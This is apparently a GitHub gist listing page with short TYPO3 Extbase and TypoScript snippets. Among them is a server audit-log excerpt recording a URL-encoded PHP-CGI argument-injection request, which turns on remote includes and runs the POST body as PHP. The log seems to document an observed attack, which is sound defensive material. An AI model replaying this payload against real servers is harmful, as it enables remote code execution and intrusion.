This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Renders a Fluid StandaloneView respecting the given language | |
* | |
* @param string $language The language (e.g. de, dk or se) | |
* @return string | |
* @throws \TYPO3\CMS\Extbase\Configuration\Exception\InvalidConfigurationTypeException | |
*/ | |
public function renderStandaloneView($language = '') { | |
if ($language !== '') { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
use TYPO3\CMS\Extbase\Persistence\Generic\QueryResult; | |
class RandomQueryResult extends QueryResult { | |
/** | |
* Keeps track of, if queryResult has been shuffled | |
*/ | |
protected $shuffled = FALSE; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{namespace s=Derhansen\Standaloneview\ViewHelpers} | |
<strong><s:translate key="title" /></strong> | |
<p><s:translate key="description" /></p> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.tx_standaloneview._LOCAL_LANG.de { | |
description = Dies ist der deutsche Titel aus TypoScript überschrieben | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--dafe1c1b-A-- | |
[10/Nov/2013:07:44:03 +0100] Un8rMgqXZAQAACKaBUkAAAAC xxx.xxx.xxx.xxx 50937 xxx.xxx.xxx.xxx | |
--dafe1c1b-B-- | |
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1 | |
Host: xxxxxxxxxx.tld | |
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 | |
Content-Type: application/x-www-form-urlencoded | |
Content-Length: 6013 | |
Connection: close |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public function listAction() | |
{ | |
/** @var \TYPO3\CMS\Extbase\Persistence\Generic\Typo3QuerySettings $querySettings */ | |
$querySettings = $this->objectManager->get(\TYPO3\CMS\Extbase\Persistence\Generic\Typo3QuerySettings::class); | |
$querySettings->setRespectStoragePage(false); | |
$querySettings->setIgnoreEnableFields(true); | |
$querySettings->setIncludeDeleted(true); | |
$this->frontendUserRepository->setDefaultQuerySettings($querySettings); | |
$users = $this->frontendUserRepository->findAll(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace Vender\Extension\Domain\Model; | |
class FrontendUser extends \TYPO3\CMS\Extbase\Domain\Model\FrontendUser | |
{ | |
/** | |
* @var bool | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
defined('TYPO3_MODE') or die(); | |
$fields = array ( | |
'deleted' => array( | |
'exclude' => 1, | |
'label' => 'Deleted', | |
'config' => array( | |
'type' => 'check', | |
), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
config.tx_extbase{ | |
persistence { | |
classes { | |
TYPO3\CMS\Extbase\Domain\Model\FrontendUser { | |
subclasses { | |
0 = Vendor\Extension\Domain\Model\FrontendUser | |
} | |
} | |
Vendor\Extension\Domain\Model\FrontendUser { | |
mapping { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public function initializeCreateAction() | |
{ | |
$this->arguments->getArgument('mymodel') | |
->getPropertyMappingConfiguration() | |
->forProperty('mydate') | |
->setTypeConverterOption( | |
'TYPO3\\CMS\\Extbase\\Property\\TypeConverter\\DateTimeConverter', | |
DateTimeConverter::CONFIGURATION_DATE_FORMAT, | |
'd.m.Y' | |
); |